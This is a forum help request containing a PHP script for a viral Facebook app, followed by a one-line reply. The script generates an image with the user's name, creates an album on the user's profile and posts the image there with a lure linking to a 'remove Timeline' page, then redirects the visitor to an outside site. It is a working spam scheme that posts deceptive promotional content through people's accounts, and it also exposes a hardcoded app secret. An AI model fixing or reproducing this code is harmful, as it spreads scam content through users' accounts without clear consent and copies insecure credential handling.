Problem with viral fb app

<?php
session_start();
require_once 'src/facebook.php'; // EDIT
$app_id = "380766461935315";
$app_secret = "c2f57865f791e33e64c3128bd9a481aa";
$redirect_uri ="http://vratistarifb.azok.org/timeline/main.php";
$facebook = new Facebook(array(
'appId' => $app_id,
'secret' => $app_secret,
'cookie' => true
));
$user = $facebook->getUser();
$user_profile = $facebook->api('/me');

$coded = $_REQUEST['code'];

$access_token = $facebook->getAccessToken();
$name = "".$user_profile['name']."";
$fbid = "".$user_profile['id']."";

function RandomLine($filename) {
$lines = file($filename) ;
return $lines[array_rand($lines)] ;
}
$reason = RandomLine("reason.txt");

$canvas = imagecreatefromjpeg ("logo.jpg"); // background image file
$black = imagecolorallocate( $canvas, 0, 0, 0 ); // The second colour - to be used for the text
$font = "tahomabd.TTF"; // Path to the font you are going to use
$fontsize = 16; // font size

$birthday = "".$user_profile['birthday']."";
$death = "".date('d/m/Y', strtotime( '+'.rand(0, 20000).' days'))."";

imagettftext( $canvas, 24, 0, 129, 232, $black, $font, $name ); // name
//imagettftext( $canvas, 10, -1, 122, 202, $black, $font, $death ); // death
//imagettftext( $canvas, 20, -1, 110, 170, $black, $font, $birthday ); // birthday
imagettftext( $canvas, 24, 0, 110, 453, $black, $font, $reason ); // reason


imagejpeg( $canvas, "img/".$fbid.".jpg", 50 );

$facebook->setFileUploadSupport(true);

//Create an album
$album_details = array(
'message'=> 'Saznaj kako ces preci na kraju skolskoe godine?',
'name'=> 'pogledaj kako ces preci ?'
);
$create_album = $facebook->api('/me/albums', 'post', $album_details);

//Get album ID of the album you've just created
$album_uid = $create_album['id'];

//Upload a photo to album of ID...

$file='img/'.$fbid.'.jpg'; //Example image file

$photo_details = array( 'message'=> 'Obrisite timeline,jedini pravi link -----> http://www.facebook.com/pages/Kako-obrisati-Timeline/354038287961334', 'image' => '@' . realpath($file) );
$upload_photo = $facebook->api('/'.$album_uid.'/photos', 'post', $photo_details);

$upphoto = $upload_photo['id'];


ImageDestroy( $canvas );

header("location: http://timelineremove.com/")
?>


















It is a main.php file,now this app post image and generate name and txt from reason.txt on it,but error is in generate,but when i install app full and coretly it just post image but no generate text on picture what is the error ? Sorry for bad english

 

aku yo ra mudeng bro